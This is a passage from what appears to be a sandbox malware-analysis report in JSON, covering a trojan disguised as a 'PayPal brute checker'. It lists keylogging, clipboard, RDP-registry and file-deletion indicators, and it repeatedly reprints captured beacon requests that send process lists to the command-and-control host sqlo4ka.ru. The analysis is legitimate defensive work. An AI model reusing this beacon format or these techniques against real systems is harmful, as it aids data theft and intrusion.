\"wmiprvse.exe\")"},{"type":"linebreak"},{"type":"text","value":"\"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Edllhost.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe\" (Indicator: \"wmiprvse.exe\")"},{"type":"linebreak"},{"type":"text","value":"\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Edllhost.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru\" (Indicator: \"wmiprvse.exe\")"},{"type":"linebreak"},{"type":"text","value":"\"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe\" (Indicator: \"wmiprvse.exe\")"},{"type":"linebreak"},{"type":"text","value":"\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru\" (Indicator: \"wmiprvse.exe\")"},{"type":"linebreak"},{"type":"text","value":"\"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Edllhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe\" (Indicator: \"wmiprvse.exe\")"},{"type":"linebreak"},{"type":"text","value":"\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Edllhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru\" (Indicator: \"wmiprvse.exe\")"},{"type":"linebreak"},{"type":"text","value":"\"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe\" (Indicator: \"wmiprvse.exe\")"},{"type":"linebreak"},{"type":"text","value":"\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru\" (Indicator: \"wmiprvse.exe\")"},{"type":"linebreak"},{"type":"text","value":"\"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe\" (Indicator: \"wmiprvse.exe\")"},{"type":"linebreak"},{"type":"text","value":"\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru\" (Indicator: \"wmiprvse.exe\")"},{"type":"linebreak"},{"type":"text","value":"\"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3Etaskhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe\" (Indicator: \"wmiprvse.exe\")"},{"type":"linebreak"},{"type":"text","value":"\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3Etaskhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru\" (Indicator: \"wmiprvse.exe\")"}],"origin":"File/Memory","attck_id":"T1047","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1047","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Remote Access Related","identifier":"registry-61","type":3,"relevance":10,"name":"Reads terminal service related keys (often RDP related)","description":"\"PayPal.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","description_v2":["\"PayPal.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")"],"description_v3":[{"type":"text","value":"\"PayPal.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")"}],"origin":"Registry Access","attck_id":"T1076","capec_id":"CAPEC-555","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1076","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Spyware/Information Retrieval","identifier":"stream-20","type":1,"relevance":5,"name":"Contains ability to enumerate processes/modules/threads","description":"CreateToolhelp32Snapshot@KERNEL32.DLL at 00099410-00003540-41033-377-3F893854\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00099410-00003540-41033-3306-3F8B5310","description_v2":["CreateToolhelp32Snapshot@KERNEL32.DLL at 00099410-00003540-41033-377-3F893854","CreateToolhelp32Snapshot@KERNEL32.DLL at 00099410-00003540-41033-3306-3F8B5310"],"description_v3":[{"type":"text","value":"CreateToolhelp32Snapshot@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"CreateToolhelp32Snapshot@KERNEL32.DLL"},{"type":"pid","pid":"00003540"}],"origin":"Hybrid Analysis Technology","attck_id":"T1215","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1215","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Spyware/Information Retrieval","identifier":"stream-0","type":1,"relevance":10,"name":"Contains ability to open the clipboard","description":"OpenClipboard@USER32.DLL at 00099061-00003552-22132-91-004051BA\n OpenClipboard@USER32.DLL at 00099410-00003540-41033-3109-3F8A7A83","description_v2":["OpenClipboard@USER32.DLL at 00099061-00003552-22132-91-004051BA","OpenClipboard@USER32.DLL at 00099410-00003540-41033-3109-3F8A7A83"],"description_v3":[{"type":"text","value":"OpenClipboard@USER32.DLL"},{"type":"pid","pid":"00003552"},{"type":"linebreak"},{"type":"text","value":"OpenClipboard@USER32.DLL"},{"type":"pid","pid":"00003540"}],"origin":"Hybrid Analysis Technology","attck_id":"T1115","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1115","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Spyware/Information Retrieval","identifier":"stream-12","type":1,"relevance":8,"name":"Contains ability to retrieve keyboard strokes","description":"GetAsyncKeyState@USER32.DLL at 00099410-00003540-41033-997-3F8241A8\n GetAsyncKeyState@USER32.DLL at 00099410-00003540-41033-2642-3F88F142\n GetAsyncKeyState@USER32.DLL at 00099410-00003540-41033-2645-3F88F48E\n GetKeyboardState@USER32.DLL at 00099410-00003540-41033-2646-3F8901D4\n GetKeyboardState@USER32.DLL at 00099410-00003540-41033-2655-3F890368\n GetKeyboardState@USER32.DLL at 00099410-00003540-41033-2657-3F890590\n GetKeyboardState@USER32.DLL at 00099410-00003540-41033-2659-3F890064\n GetKeyboardState@USER32.DLL at 00099410-00003540-41033-2660-3F88F394\n GetKeyboardState@USER32.DLL at 00099410-00003540-41033-2664-3F88F0A8\n GetKeyboardState@user32.dll at 17803-1891-00414C00\n GetKeyboardState@user32.dll at 17803-1896-0052F260\n GetKeyboardState@user32.dll at 17803-1860-0052AB3C","description_v2":["GetAsyncKeyState@USER32.DLL at 00099410-00003540-41033-997-3F8241A8","GetAsyncKeyState@USER32.DLL at 00099410-00003540-41033-2642-3F88F142","GetAsyncKeyState@USER32.DLL at 00099410-00003540-41033-2645-3F88F48E","GetKeyboardState@USER32.DLL at 00099410-00003540-41033-2646-3F8901D4","GetKeyboardState@USER32.DLL at 00099410-00003540-41033-2655-3F890368","GetKeyboardState@USER32.DLL at 00099410-00003540-41033-2657-3F890590","GetKeyboardState@USER32.DLL at 00099410-00003540-41033-2659-3F890064","GetKeyboardState@USER32.DLL at 00099410-00003540-41033-2660-3F88F394","GetKeyboardState@USER32.DLL at 00099410-00003540-41033-2664-3F88F0A8","GetKeyboardState@user32.dll at 17803-1891-00414C00","GetKeyboardState@user32.dll at 17803-1896-0052F260","GetKeyboardState@user32.dll at 17803-1860-0052AB3C"],"description_v3":[{"type":"text","value":"GetAsyncKeyState@USER32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetAsyncKeyState@USER32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetAsyncKeyState@USER32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetKeyboardState@USER32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetKeyboardState@USER32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetKeyboardState@USER32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetKeyboardState@USER32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetKeyboardState@USER32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetKeyboardState@USER32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetKeyboardState@user32.dll at 17803-1891-00414C00"},{"type":"linebreak"},{"type":"text","value":"GetKeyboardState@user32.dll at 17803-1896-0052F260"},{"type":"linebreak"},{"type":"text","value":"GetKeyboardState@user32.dll at 17803-1860-0052AB3C"}],"origin":"Hybrid Analysis Technology","attck_id":"T1056","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1056","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"System Destruction","identifier":"api-26","type":6,"relevance":10,"name":"Marks file for deletion","description":"\"C:\\PayPalBrute_Checker.exe\" marked \"%TEMP%\\nsoA5E4.tmp\" for deletion\n \"C:\\PayPalBrute_Checker.exe\" marked \"%TEMP%\\nsuA6F0.tmp\" for deletion\n \"C:\\PayPalBrute_Checker.exe\" marked \"%TEMP%\\nsuA6F0.tmp\\System.dll\" for deletion\n \"%APPDATA%\\1337\\PayPal.scr\" marked \"%TEMP%\\autC0FE.tmp\" for deletion\n \"%APPDATA%\\1337\\PayPal brute&checker.exe\" marked \"%TEMP%\\autC257.tmp\" for deletion\n \"%PUBLIC%\\Download\\90cc6e447d345bb1f103751ab038bbce19190db6.exe\" marked \"C:\\Media\\__tmp_rar_sfx_access_check_1571828\" for deletion","description_v2":["\"C:\\PayPalBrute_Checker.exe\" marked \"%TEMP%\\nsoA5E4.tmp\" for deletion","\"C:\\PayPalBrute_Checker.exe\" marked \"%TEMP%\\nsuA6F0.tmp\" for deletion","\"C:\\PayPalBrute_Checker.exe\" marked \"%TEMP%\\nsuA6F0.tmp\\System.dll\" for deletion","\"%APPDATA%\\1337\\PayPal.scr\" marked \"%TEMP%\\autC0FE.tmp\" for deletion","\"%APPDATA%\\1337\\PayPal brute&checker.exe\" marked \"%TEMP%\\autC257.tmp\" for deletion","\"%PUBLIC%\\Download\\90cc6e447d345bb1f103751ab038bbce19190db6.exe\" marked \"C:\\Media\\__tmp_rar_sfx_access_check_1571828\" for deletion"],"description_v3":[{"type":"text","value":"\"C:\\PayPalBrute_Checker.exe\" marked \"%TEMP%\\nsoA5E4.tmp\" for deletion"},{"type":"linebreak"},{"type":"text","value":"\"C:\\PayPalBrute_Checker.exe\" marked \"%TEMP%\\nsuA6F0.tmp\" for deletion"},{"type":"linebreak"},{"type":"text","value":"\"C:\\PayPalBrute_Checker.exe\" marked \"%TEMP%\\nsuA6F0.tmp\\System.dll\" for deletion"},{"type":"linebreak"},{"type":"text","value":"\"%APPDATA%\\1337\\PayPal.scr\" marked \"%TEMP%\\autC0FE.tmp\" for deletion"},{"type":"linebreak"},{"type":"text","value":"\"%APPDATA%\\1337\\PayPal brute&checker.exe\" marked \"%TEMP%\\autC257.tmp\" for deletion"},{"type":"linebreak"},{"type":"text","value":"\"%PUBLIC%\\Download\\90cc6e447d345bb1f103751ab038bbce19190db6.exe\" marked \"C:\\Media\\__tmp_rar_sfx_access_check_1571828\" for deletion"}],"origin":"API Call","attck_id":"T1107","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1107","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"System Destruction","identifier":"api-25","type":6,"relevance":7,"name":"Opens file with deletion access rights","description":"$3f","description_v2":["\"PayPalBrute_Checker.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsoA5E4.tmp\" with delete access","\"PayPalBrute_Checker.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsuA6F0.tmp\" with delete access","\"PayPalBrute_Checker.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsuA6F0.tmp\\System.dll\" with delete access","\"PayPalBrute_Checker.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsuA6F0.tmp\\\" with delete access","\"PayPal.scr\" opened \"C:\\Users\\Public\\Download\\__tmp_rar_sfx_access_check_1555359\" with delete access","\"PayPal brute?checker.exe\" opened \"C:\\Users\\TJZSvkd\\AppData\\Local\\Temp\\autC0FE.tmp\" with delete access","\"PayPal brute?checker.exe\" opened \"C:\\Users\\TJZSvkd\\AppData\\Local\\Temp\\autC257.tmp\" with delete access","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" opened \"C:\\Media\\__tmp_rar_sfx_access_check_1571828\" with delete access","\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" opened \"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\security.config.cch.1072.1585625\" with delete access","\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" opened \"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\enterprisesec.config.cch.1072.1585625\" with delete access","\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" opened \"C:\\Users\\TJZSvkd\\AppData\\Roaming\\Microsoft\\CLR Security Config\\v2.0.50727.312\\64bit\\security.config.cch.1072.1585875\" with delete access"],"description_v3":[{"type":"text","value":"\"PayPalBrute_Checker.exe\" opened \"%TEMP%\\nsoA5E4.tmp\" with delete access"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" opened \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\nsuA6F0.tmp\" with delete access"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" opened \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\nsuA6F0.tmp\\System.dll\" with delete access"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" opened \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\nsuA6F0.tmp\\\" with delete access"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" opened \"C:\\Users\\%USERNAME%\\Download\\__tmp_rar_sfx_access_check_1555359\" with delete access"},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute?checker.exe\" opened \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\autC0FE.tmp\" with delete access"},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute?checker.exe\" opened \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\autC257.tmp\" with delete access"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" opened \"C:\\Media\\__tmp_rar_sfx_access_check_1571828\" with delete access"},{"type":"linebreak"},{"type":"text","value":"\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" opened \"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\security.config.cch.1072.1585625\" with delete access"},{"type":"linebreak"},{"type":"text","value":"\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" opened \"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\enterprisesec.config.cch.1072.1585625\" with delete 